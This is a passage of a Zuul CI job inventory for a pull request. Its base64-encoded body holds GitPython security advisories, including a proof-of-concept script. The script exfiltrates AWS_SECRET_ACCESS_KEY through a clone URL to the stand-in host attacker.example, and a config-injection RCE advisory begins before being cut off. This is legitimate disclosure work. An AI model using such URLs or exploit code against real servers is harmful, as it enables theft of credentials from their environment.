9uZSgKICAgIG11bHRpLAogICAgIi0tIiwKICAgIEdpdC5wb2xpc2hfdXJsKHVybCksICAgICAgICAgICMgPC0tIGxpbmUgMTQxNzogZXhwYW5kZWQgVVJMIHNlbnQgdG8gYGdpdCBjbG9uZWAKICAgIGNsb25lX3BhdGgsCiAgICAuLi4KKQpgYGAKCkJlY2F1c2UgYG9zLnBhdGguZXhwYW5kdmFycygpYCBvbiBQT1NJWCBzdWJzdGl0dXRlcyBgJE5BTUVgIGFuZCBgJHtOQU1FfWAgd2l0aCBgb3MuZW52aXJvbltOQU1FXWAgd2hlbiBzZXQgKGFuZCBvbiBXaW5kb3dzIGFkZGl0aW9uYWxseSBgJU5BTUUlYCksIGFuIGF0dGFja2VyLXN1cHBsaWVkIFVSTCBzdWNoIGFzOgoKYGBgCmh0dHBzOi8vYXR0YWNrZXIuZXhhbXBsZS9zdGVhbC8ke0FXU19TRUNSRVRfQUNDRVNTX0tFWX0vcmVwby5naXQKYGBgCgppcyByZXdyaXR0ZW4gc2VydmVyLXNpZGUgdG8gZW1iZWQgdGhlIGxpdGVyYWwgc2VjcmV0IHZhbHVlIGluIHRoZSBwYXRoIGNvbXBvbmVudCwgYW5kIGBnaXQgY2xvbmVgIHRoZW4gaXNzdWVzIGFuIEhUVFAoUykgcmVxdWVzdCAoYW5kIEROUyBsb29rdXAsIGlmIHRoZSB0b2tlbiBpcyBwbGFjZWQgaW4gdGhlIGhvc3QgbGFiZWwpIGNhcnJ5aW5nIHRoYXQgdmFsdWUgdG8gYGF0dGFja2VyLmV4YW1wbGVgLiBUaGUgY2xvbmUgaXRzZWxmIHdpbGwgdHlwaWNhbGx5IGZhaWwsIGJ1dCB0aGUgc2VjcmV0IGhhcyBhbHJlYWR5IGxlZnQgdGhlIHNlcnZlciBieSB0aGF0IHBvaW50LgoKYHBvbGlzaF91cmwoKWAgd2FzIHdyaXR0ZW4gYXMgYSBsb2NhbC1wYXRoIG5vcm1hbGlzYXRpb24gaGVscGVyIChDeWd3aW4gcGF0aCBjb252ZXJzaW9uLCBgfmAgZXhwYW5zaW9uLCBiYWNrc2xhc2ggZml4aW5nKSBhbmQgaXMgYXBwbGllZCBpbmRpc2NyaW1pbmF0ZWx5IHRvIHJlbW90ZSBVUkxzLiBUaGVyZSBpcyBubyBzY2hlbWUgY2hlY2ssIG5vIGBleHBhbmRfdmFycz1GYWxzZWAgb3B0LW91dCBmb3IgdGhlIGNsb25lIFVSTCwgYW5kIG5vIGRvY3VtZW50YXRpb24gdGhhdCB0aGUgVVJMIHVuZGVyZ29lcyBlbnZpcm9ubWVudCBleHBhbnNpb24g4oCUIHRoZSBgY2xvbmVfZnJvbWAgZG9jc3RyaW5nIGRlc2NyaWJlcyBgdXJsYCBvbmx5IGFzIGEgIlZhbGlkIGdpdCB1cmwiLiBCeSBjb250cmFzdCwgdGhlIG1haW50YWluZXJzIGFscmVhZHkgZmxhZyBlbnYtdmFyIGV4cGFuc2lvbiBhcyBhIHNlY3VyaXR5IGNvbmNlcm4gZm9yIHRoZSAqbG9jYWwgcmVwb3NpdG9yeSBwYXRoKiBhcmd1bWVudDogYFJlcG8uX19pbml0X19gIGVtaXRzIGEgZGVwcmVjYXRpb24gd2FybmluZyAoIlRoZSB1c2Ugb2YgZW52aXJvbm1lbnQgdmFyaWFibGVzIGluIHBhdGhzIGlzIGRlcHJlY2F0ZWQgZm9yIHNlY3VyaXR5IHJlYXNvbnMiLCBgZ2l0L3JlcG8vYmFzZS5weToyMjbigJMyMzFgKSBhbmQgb2ZmZXJzIGBleHBhbmRfdmFycz1GYWxzZWAuIFRoZSBzYW1lIHRyZWF0bWVudCBpcyBtaXNzaW5nIGZvciB0aGUgbmV0d29yay1ib3VuZCBjbG9uZSBVUkwuCgoqKlNlY29uZGFyeSBjb25zZXF1ZW5jZSAodW5zYWZlLXByb3RvY29sIGZpbHRlciBieXBhc3MpLioqIEJlY2F1c2UgYGNoZWNrX3Vuc2FmZV9wcm90b2NvbHMoKWAgcnVucyBvbiB0aGUgKnByZS1leHBhbnNpb24qIFVSTCAobGluZSAxNDA4KSBidXQgdGhlICpwb3N0LWV4cGFuc2lvbiogVVJMIGlzIHdoYXQgcmVhY2hlcyBgZ2l0YCwgYW4gYXR0YWNrZXIgd2hvIGFkZGl0aW9uYWxseSBjb250cm9scyBhbnkgZW52aXJvbm1lbnQgdmFyaWFibGUgaW4gdGhlIHNlcnZlciBwcm9jZXNzIGNvdWxkIHNldCBlLmcuIGBYPWV4dDo6c2ggLWMgJy4uLidgIGFuZCBzdWJtaXQgYHVybD0iJFgiYDsgdGhlIHJhdyBzdHJpbmcgYCRYYCBwYXNzZXMgdGhlIGBleHQ6OmAgZmlsdGVyLCB0aGVuIGV4cGFuZHMgdG8gYW4gYGV4dDo6YCByZW1vdGUtaGVscGVyIHRyYW5zcG9ydCB0aGF0IGBnaXRgIHdpbGwgZXhlY3V0ZS4gVGhpcyByZXF1aXJlcyBhIHNlY29uZCBwcmVjb25kaXRpb24gKGVudi12YXIgd3JpdGUpIGFuZCBpcyBub3RlZCBhcyBhbiBhZ2dyYXZhdGluZyBmYWN0b3IgcmF0aGVyIHRoYW4gYSBzZXBhcmF0ZSB2dWxuZXJhYmlsaXR5LgoKIyMjIyMgUG9DClRlc3RlZCBhZ2FpbnN0IGBnaXRweXRob249PTMuMS41MGAgb24gTGludXggd2l0aCBQeXRob24gMyBhbmQgYGdpdGAgb24gYFBBVEhgLgoKYGBgYmFzaApweXRob24zIC1tIHZlbnYgL3RtcC9ncC12ZW52Ci90bXAvZ3AtdmVudi9iaW4vcGlwIGluc3RhbGwgZ2l0cHl0aG9uPT0zLjEuNTAKL3RtcC9ncC12ZW52L2Jpbi9weXRob24gcG9jLnB5CmBgYAoKYHBvYy5weWA6CmBgYHB5dGhvbgoKIyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwoiIiIKUG9DOiBlbnZpcm9ubWVudC12YXJpYWJsZSBleGZpbHRyYXRpb24gdmlhIFJlcG8uY2xvbmVfZnJvbSgpIFVSTC4KCkRlbW9uc3RyYXRlcyB0aGF0IGFuIGF0dGFja2VyLWNvbnRyb2xsZWQgYHVybGAgYXJndW1lbnQgdG8gUmVwby5jbG9uZV9mcm9tKCkKaXMgcGFzc2VkIHRocm91Z2ggb3MucGF0aC5leHBhbmR2YXJzKCkgYmVmb3JlIGJlaW5nIGdpdmVuIHRvIGBnaXQgY2xvbmVgLApzbyBgJE5BTUVgIHRva2VucyBpbiB0aGUgVVJMIGFyZSByZXBsYWNlZCB3aXRoIHRoZSBzZXJ2ZXIgcHJvY2VzcydzCmVudmlyb25tZW50LXZhcmlhYmxlIHZhbHVlcyBhbmQgdHJhbnNtaXR0ZWQgdG8gdGhlIGF0dGFja2VyLW5hbWVkIGhvc3QuCgpUaGUgUG9DIGludGVyY2VwdHMgdGhlIFBvcGVuIGFyZ3YgdG8gc2hvdyB0aGUgZXhhY3QgVVJMIGhhbmRlZCB0byBgZ2l0YAp3aXRob3V0IHBlcmZvcm1pbmcgcmVhbCBuZXR3b3JrIEkvTy4KIiIiCmltcG9ydCBvcwppbXBvcnQgc3lzCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCB0ZW1wZmlsZQoKIyMjIyMgU2ltdWxhdGUgYSBzZW5zaXRpdmUgc2VydmVyLXNpZGUgZW52aXJvbm1lbnQgdmFyaWFibGUuCm9zLmVudmlyb25bIkFXU19TRUNSRVRfQUNDRVNTX0tFWSJdID0gIndKYWxyWFV0bkZFTUkvSzdNREVORy9iUHhSZmlDWUVYQU1QTEVLRVkiCgppbXBvcnQgZ2l0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBub3FhOiBFNDAyCmZyb20gZ2l0IGltcG9ydCBHaXQsIFJlcG8gICAgICAgICAgICAgICAjIG5vcWE6IEU0MDIKCnByaW50KGYiZ2l0cHl0aG9uIHZlcnNpb246IHtnaXQuX192ZXJzaW9uX199IikKCiMjIyMjIC0tLSBMYXllciAxOiBHaXQucG9saXNoX3VybCgpIGRpcmVjdGx5IC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCmF0dGFja2VyX3VybCA9ICJodHRwczovL2F0dGFja2VyLmV4YW1wbGUvc3RlYWwvJEFXU19TRUNSRVRfQUNDRVNTX0tFWS9yZXBvLmdpdCIKcG9saXNoZWQgPSBHaXQucG9saXNoX3VybChhdHRhY2tlcl91cmwpCnByaW50KCJcbltMYXllciAxXSBwb2xpc2hfdXJsIHJlc3VsdDoiKQpwcmludChmIiAgaW5wdXQgOiB7YXR0YWNrZXJfdXJsfSIpCnByaW50KGYiICBvdXRwdXQ6IHtwb2xpc2hlZH0iKQppZiBvcy5lbnZpcm9uWyJBV1NfU0VDUkVUX0FDQ0VTU19LRVkiXSBpbiBwb2xpc2hlZDoKICAgIHByaW50KCIgIC0+IHNlY3JldCBTVUJTVElUVVRFRCBpbnRvIFVSTCBieSBwb2xpc2hfdXJsKCkiKQoKIyMjIyMgLS0tIExheWVyIDI6IGZ1bGwgUmVwby5jbG9uZV9mcm9tKCkgLS0gY2FwdHVyZSBhcmd2IGdpdmVuIHRvIGBnaXRgIC0tLS0tLS0tLS0KY2FwdHVyZWQgPSB7fQpvcmlnX3BvcGVuID0gc3VicHJvY2Vzcy5Qb3BlbgoKY2xhc3MgQ2FwdHVyaW5nUG9wZW4ob3JpZ19wb3Blbik6CiAgICBkZWYgX19pbml0X18oc2VsZiwgY21kLCAqYSwgKiprdyk6CiAgICAgICAgaWYgaXNpbnN0YW5jZShjbWQsIChsaXN0LCB0dXBsZSkpIGFuZCAiY2xvbmUiIGluIGNtZDoKICAgICAgICAgICAgY2FwdHVyZWRbImNtZCJdID0gbGlzdChjbWQpCiAgICAgICAgc3VwZXIoKS5fX2luaXRfXyhjbWQsICphLCAqKmt3KQoKc3VicHJvY2Vzcy5Qb3BlbiA9IENhcHR1cmluZ1BvcGVuCmltcG9ydCBnaXQuY21kIGFzIGdpdGNtZCAgICAgICAgICAgICAgICAjIG5vcWE6IEU0MDIKZ2l0Y21kLnNhZmVyX3BvcGVuID0gQ2FwdHVyaW5nUG9wZW4gICAgICMgbm9uLVdpbmRvd3M6IHNhZmVyX3BvcGVuID09IFBvcGVuCgpkZXN0ID0gdGVtcGZpbGUubWtkdGVtcChwcmVmaXg9ImdwX3BvY18iKQp0cnk6CiAgICBSZXBvLmNsb25lX2Zyb20oYXR0YWNrZXJfdXJsLCBvcy5wYXRoLmpvaW4oZGVzdCwgIm91dCIpKQpleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAjIFRoZSBjbG9uZSBmYWlscyAoYXR0YWNrZXIuZXhhbXBsZSBkb2VzIG5vdCByZXNvbHZlKTsgd2Ugb25seSBuZWVkIGFyZ3YuCiAgICBwcmludChmIlxuW0xheWVyIDJdIGNsb25lX2Zyb20gcmFpc2VkIChleHBlY3RlZCk6IHt0eXBlKGUpLl9fbmFtZV9ffSIpCgpzdWJwcm9jZXNzLlBvcGVuID0gb3JpZ19wb3BlbgoKcHJpbnQoIlxuW0xheWVyIDJdIGFyZ3YgcGFzc2VkIHRvIGBnaXQgY2xvbmVgIHN1YnByb2Nlc3M6IikKZm9yIHRvayBpbiBjYXB0dXJlZC5nZXQoImNtZCIsIFtdKToKICAgIHByaW50KGYiICB7dG9rfSIpCgpjbWQgPSBjYXB0dXJlZC5nZXQoImNtZCIsIFtdKQp1cmxfYXJnID0gY21kW2NtZC5pbmRleCgiLS0iKSArIDFdIGlmICItLSIgaW4gY21kIGVsc2UgTm9uZQpwcmludChmIlxuW0xheWVyIDJdIFVSTCBhcmd1bWVudCBnaXZlbiB0byBnaXQ6IHt1cmxfYXJnfSIpCgpzZWNyZXQgPSBvcy5lbnZpcm9uWyJBV1NfU0VDUkVUX0FDQ0VTU19LRVkiXQppZiB1cmxfYXJnIGFuZCBzZWNyZXQgaW4gdXJsX2FyZzoKICAgIHByaW50KAogICAgICAgICJcblZVTE5FUkFCTEU6IHNlcnZlciBlbnYgdmFyIEFXU19TRUNSRVRfQUNDRVNTX0tFWSB3YXMgaW50ZXJwb2xhdGVkICIKICAgICAgICAiaW50byB0aGUgcmVtb3RlIGNsb25lIFVSTDsgZ2l0IHdvdWxkIHRyYW5zbWl0IGl0IHRvIGF0dGFja2VyLmV4YW1wbGUuIgogICAgKQogICAgc3lzLmV4aXQoMCkKcHJpbnQoIlxuTk9UIFZVTE5FUkFCTEUiKQpzeXMuZXhpdCgxKQpgYGAKCkV4cGVjdGVkIG91dHB1dDoKYGBgCmdpdHB5dGhvbiB2ZXJzaW9uOiAzLjEuNTAKCltMYXllciAxXSBwb2xpc2hfdXJsIHJlc3VsdDoKICBpbnB1dCA6IGh0dHBzOi8vYXR0YWNrZXIuZXhhbXBsZS9zdGVhbC8kQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZL3JlcG8uZ2l0CiAgb3V0cHV0OiBodHRwczovL2F0dGFja2VyLmV4YW1wbGUvc3RlYWwvd0phbHJYVXRuRkVNSS9LN01ERU5HL2JQeFJmaUNZRVhBTVBMRUtFWS9yZXBvLmdpdAogIC0+IHNlY3JldCBTVUJTVElUVVRFRCBpbnRvIFVSTCBieSBwb2xpc2hfdXJsKCkKCltMYXllciAyXSBjbG9uZV9mcm9tIHJhaXNlZCAoZXhwZWN0ZWQpOiBHaXRDb21tYW5kRXJyb3IKCltMYXllciAyXSBhcmd2IHBhc3NlZCB0byBgZ2l0IGNsb25lYCBzdWJwcm9jZXNzOgogIGdpdAogIGNsb25lCiAgLXYKICAtLQogIGh0dHBzOi8vYXR0YWNrZXIuZXhhbXBsZS9zdGVhbC93SmFsclhVdG5GRU1JL0s3TURFTkcvYlB4UmZpQ1lFWEFNUExFS0VZL3JlcG8uZ2l0CiAgL3RtcC9ncF9wb2NfWFhYWFhYWFgvb3V0CgpbTGF5ZXIgMl0gVVJMIGFyZ3VtZW50IGdpdmVuIHRvIGdpdDogaHR0cHM6Ly9hdHRhY2tlci5leGFtcGxlL3N0ZWFsL3dKYWxyWFV0bkZFTUkvSzdNREVORy9iUHhSZmlDWUVYQU1QTEVLRVkvcmVwby5naXQKClZVTE5FUkFCTEU6IHNlcnZlciBlbnYgdmFyIEFXU19TRUNSRVRfQUNDRVNTX0tFWSB3YXMgaW50ZXJwb2xhdGVkIGludG8gdGhlIHJlbW90ZSBjbG9uZSBVUkw7IGdpdCB3b3VsZCB0cmFuc21pdCBpdCB0byBhdHRhY2tlci5leGFtcGxlLgpgYGAKClRoZSBjYXB0dXJlZCBhcmd2IGlzIHRoZSBleGFjdCBjb21tYW5kIGxpbmUgc3Bhd25lZCBieSBHaXRQeXRob247IGFnYWluc3QgYSByZWFsIGF0dGFja2VyLWNvbnRyb2xsZWQgaG9zdCwgYGdpdGAgd291bGQgaXNzdWUgYSBETlMgbG9va3VwIGFuZCBIVFRQKFMpIHJlcXVlc3QgdG8gdGhhdCBob3N0IHdpdGggdGhlIHNlY3JldCBlbWJlZGRlZCBpbiB0aGUgcmVxdWVzdCBwYXRoLgoKIyMjIyMgSW1wYWN0CkFueSBhcHBsaWNhdGlvbiB0aGF0IGNhbGxzIGBSZXBvLmNsb25lX2Zyb20oKWAgKG9yIGBSZXBvLmNsb25lKClgKSB3aXRoIGEgVVJMIHRoYXQgaXMgd2hvbGx5IG9yIHBhcnRpYWxseSBhdHRhY2tlci1jb250cm9sbGVkIOKAlCB0aGUgY2Fub25pY2FsIHBhdHRlcm4gZm9yICJpbXBvcnQvbWlycm9yIHJlcG9zaXRvcnkgZnJvbSBVUkwiIGZlYXR1cmVzIGluIENJIHN5c3RlbXMsIHNvdXJjZS1jb2RlIGhvc3RpbmcgcGxhdGZvcm1zLCBkZXBlbmRlbmN5IHNjYW5uZXJzLCBhbmQgYnVpbGQgcGlwZWxpbmVzIOKAlCBhbGxvd3MgYW4gdW5hdXRoZW50aWNhdGVkIG9yIGxvdy1wcml2aWxlZ2VkIGF0dGFja2VyIHRvIGV4ZmlsdHJhdGUgYXJiaXRyYXJ5IGVudmlyb25tZW50IHZhcmlhYmxlcyBmcm9tIHRoZSBzZXJ2ZXIgcHJvY2Vzcywgb25lIHBlciByZXF1ZXN0LCBieSBuYW1pbmcgdGhlbSBpbiB0aGUgVVJMLiBDbG91ZCBjcmVkZW50aWFscywgQVBJIHRva2VucywgYW5kIHNpZ25pbmcga2V5cyBzdG9yZWQgaW4gdGhlIGVudmlyb25tZW50IGFyZSB0aGUgcHJpbWFyeSB0YXJnZXRzLiBBcHBsaWNhdGlvbnMgdGhhdCBkbyBub3QgYWNjZXB0IGNsb25lIFVSTHMgZnJvbSB1bnRydXN0ZWQgc291cmNlcywgb3IgdGhhdCBydW4gdGhlIGNsb25lciBpbiBhIHByb2Nlc3Mgd2l0aCBhIGZ1bGx5IHN0cmlwcGVkIGVudmlyb25tZW50LCBhcmUgbm90IGFmZmVjdGVkLiBUaGVyZSBpcyBubyBkaXJlY3QgaW50ZWdyaXR5IG9yIGF2YWlsYWJpbGl0eSBpbXBhY3QuCgoqKlN1Z2dlc3RlZCBmaXg6KiogUmVtb3ZlIHRoZSBgb3MucGF0aC5leHBhbmR2YXJzKClgIChhbmQgYG9zLnBhdGguZXhwYW5kdXNlcigpYCkgY2FsbCBmcm9tIGBHaXQucG9saXNoX3VybCgpYCBmb3IgaW5wdXRzIHRoYXQgYXJlIHJlbW90ZSBVUkxzIChjb250YWluIGA6Ly9gIG9yIG1hdGNoIGB1c2VyQGhvc3Q6cGF0aGApLCBvciByZW1vdmUgdGhlIGV4cGFuc2lvbiBlbnRpcmVseSBhbmQgcmVxdWlyZSBjYWxsZXJzIHdobyB3YW50IGxvY2FsLXBhdGggZW52IGV4cGFuc2lvbiB0byBwZXJmb3JtIGl0IHRoZW1zZWx2ZXMg4oCUIG1pcnJvcmluZyB0aGUgZXhpc3RpbmcgZGVwcmVjYXRpb24gb24gYFJlcG8ocGF0aCwgZXhwYW5kX3ZhcnM94oCmKWAuIEFkZGl0aW9uYWxseSwgYXBwbHkgYGNoZWNrX3Vuc2FmZV9wcm90b2NvbHMoKWAgdG8gdGhlICpwb3N0LXRyYW5zZm9ybWF0aW9uKiBVUkwgc28gbm8gZnV0dXJlIGBwb2xpc2hfdXJsYCBjaGFuZ2UgY2FuIHNpbGVudGx5IGJ5cGFzcyB0aGUgYGV4dDo6YCBmaWx0ZXIuCgojIyMjIFNldmVyaXR5Ci0gQ1ZTUyBTY29yZTogNy41IC8gMTAgKEhpZ2gpCi0gVmVjdG9yIFN0cmluZzogYENWU1M6My4xL0FWOk4vQUM6TC9QUjpOL1VJOk4vUzpVL0M6SC9JOk4vQTpOYAoKIyMjIyBSZWZlcmVuY2VzCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLXJ3ajgtcGdoMy1yNTczXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3NlY3VyaXR5L2Fkdmlzb3JpZXMvR0hTQS1yd2o4LXBnaDMtcjU3MykKLSBbaHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxNzJdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMTcyKQotIFtodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL2NvbW1pdC84YWM1YTMwNTE5YjZmNGFmODUzOThiOWI5ZDcwNjRmZjRkNDUyZGEyXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL2NvbW1pdC84YWM1YTMwNTE5YjZmNGFmODUzOThiOWI5ZDcwNjRmZjRkNDUyZGEyKQotIFtodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3JlbGVhc2VzL3RhZy8zLjEuNTJdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcmVsZWFzZXMvdGFnLzMuMS41MikKLSBbaHR0cHM6Ly9naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS1yd2o4LXBnaDMtcjU3M10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS1yd2o4LXBnaDMtcjU3MykKClRoaXMgZGF0YSBpcyBwcm92aWRlZCBieSB0aGUgW0dpdEh1YiBBZHZpc29yeSBEYXRhYmFzZV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS1yd2o4LXBnaDMtcjU3MykgKFtDQy1CWSA0LjBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRodWIvYWR2aXNvcnktZGF0YWJhc2UvYmxvYi9tYWluL0xJQ0VOU0UubWQpKS4KPC9kZXRhaWxzPgoKLS0tCgojIyMgR2l0UHl0aG9uOiBnaXQtY29uZmlnIHNlY3Rpb24tbmFtZSBpbmplY3Rpb24gZW5hYmxlcyBhcmJpdHJhcnkgY29uZmlnIGRpcmVjdGl2ZXMgKGNvcmUuc3NoQ29tbWFuZCBSQ0UpCltHSFNBLTNycDUtamptdy00d3YyXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLTNycDUtamptdy00d3YyKQoKPGRldGFpbHM+CjxzdW1tYXJ5Pk1vcmUgaW5mb3JtYXRpb248L3N1bW1hcnk+CgojIyMjIERldGFpbHMKIyMjIyMgU3VtbWFyeQoKSW4gR2l0UHl0aG9uIGA8PSAzLjEuNTJgLCB0aGUgY29uZmlnIHdyaXRlciBuZXV0cmFsaXplcyBvbmx5IENSLCBMRiwgYW5kIE5VTCBpbiBjb25maWd1cmF0aW9uICoqbmFtZXMqKiwgYnV0IHdyaXRlcyBzZWN0aW9uIG5hbWVzIGludG8gdGhlIGBbLi4uXWAgaGVhZGVyIHdpdGggbm8gb3RoZXIgZXNjYXBpbmcuIEEgc2VjdGlvbi9zdWJzZWN0aW9uIG5hbWUgdGhhdCBjb250YWlucyBgXSBbICJgIGNsb3NlcyB0aGUgaW50ZW5kZWQgaGVhZGVyIGFuZCBvcGVucyBhIHNlY29uZCBzYW1lLWxpbmUgc2VjdGlvbiwgaW5qZWN0aW5nIGFuIGFyYml0cmFyeSBjb25maWcgZGlyZWN0aXZlIOKAlCB3aXRoIG5vIG5ld2xpbmUgcmVxdWlyZWQuIEJlY2F1c2UgYSBzdWJtb2R1bGUgKipuYW1lKiogaXMgYXR0YWNrZXItY29udHJvbGxlZCBkYXRhIChpdCBjb21lcyBmcm9tIGEgcmVwb3NpdG9yeSdzIGAuZ2l0bW9kdWxlc2AsIG9yIGZyb20gYW4gYXBwbGljYXRpb24gdGhhdCBsZXRzIGEgdXNlciBuYW1lIGEgc3VibW9kdWxlKSBhbmQgaXMgd3JpdHRlbiB2ZXJiYXRpbSBpbnRvIHRoZSBwYXJlbnQgcmVwb3NpdG9yeSdzIHRydXN0ZWQgYC5naXQvY29uZmlnYCwgYW4gYXR0YWNrZXIgY2FuIHNldCBgY29yZS5zc2hDb21tYW5kYCAob3IgYGFsaWFzLipgLCBgY29yZS5wYWdlcmAsIGBjb3JlLmZzbW9uaXRvcmApIGFuZCBhY2hpZXZlIHJlbW90ZSBjb2RlIGV4ZWN1dGlvbiBvbiB0aGUgdmljdGltJ3MgbmV4dCBnaXQgb3BlcmF0aW9uLiBMaWtlbHkgKipDV0UtNzQgKEluamVjdAoKPiDinIIgKipOb3RlKioKPiAKPiBQUiBib2R5IHdhcyB0cnVuY2F0ZWQgdG8gaGVyZS4K
      patchset: c8954fa4dba3805bcb75345d9aae2b0ccca2c87c
      pipeline: check
      playbook_context:
        playbook_projects:
          trusted/project_0/github.com/osism/zuul-config:
            canonical_name: github.com/osism/zuul-config
            checkout: main
            commit: 71b711c422c10c242a8f785dc6d41ed9d12e9cd3
          trusted/project_1/github.com/osism/openinfra-zuul-jobs:
            canonical_name: github.com/osism/openinfra-zuul-jobs
            checkout: master
            commit: 242732586e2cba04d04867d3e302888c766bc231
          trusted/project_2/github.com/osism/zuul-jobs:
            canonical_name: github.com/osism/zuul-jobs
            checkout: main
            commit: dcb06ea8a3ad422cc9d98b376216617b2daa6a02
          untrusted/project_0/github.com/osism/zuul-jobs:
            canonical_name: github.com/osism/zuul-jobs
            checkout: main
            commit: dcb06ea8a3ad422cc9d98b376216617b2daa6a02
          untrusted/project_1/github.com/osism/zuul-config:
            canonical_name: github.com/osism/zuul-config
            checkout: main
            commit: 71b711c422c10c242a8f785dc6d41ed9d12e9cd3
          untrusted/project_2/github.com/osism/openinfra-zuul-jobs:
            canonical_name: github.com/osism/openinfra-zuul-jobs
            checkout: master
            commit: 242732586e2cba04d04867d3e302888c766bc231
        playbooks:
        - path: untrusted/project_0/github.com/osism/zuul-jobs/playbooks/yamllint/run.yaml
          roles:
          - checkout: main
            checkout_description: zuul branch
            link_name: ansible/playbook_0/role_0/zuul-config
            link_target: untrusted/project_1/github.com/osism/zuul-config
            role_path: ansible/playbook_0/role_0/zuul-config/roles
          - checkout: master
            checkout_description: project default branch
            link_name: ansible/playbook_0/role_1/openinfra-zuul-jobs
            link_target: untrusted/project_2/github.com/osism/openinfra-zuul-jobs
            role_path: ansible/playbook_0/role_1/openinfra-zuul-jobs/roles
          - checkout: main
            checkout_description: playbook branch
            link_name: ansible/playbook_0/role_2/zuul-jobs
            link_target: untrusted/project_0/github.com/osism/zuul-jobs
            role_path: ansible/playbook_0/role_2/zuul-jobs/roles
      post_review: false
      post_timeout: 1800
      pre_timeout: null
      project:
        canonical_hostname: github.com
        canonical_name: github.com/osism/pulpfiction
        name: osism/pulpfiction
        short_name: pulpfiction
        src_dir: src/github.com/osism/pulpfiction
      projects:
        github.com/osism/pulpfiction:
          canonical_hostname: github.com
          canonical_name: github.com/osism/pulpfiction
          checkout: main
          checkout_description: zuul branch
          commit: eaba318b1898277ce79820b0a000d51064d9b84c
          name: osism/pulpfiction
          required: false
          short_name: pulpfiction
          src_dir: src/github.com/osism/pulpfiction
      ref: refs/pull/10/head
      resources: {}
      tenant: osism
      timeout: 1800
      topic: null
      voting: true
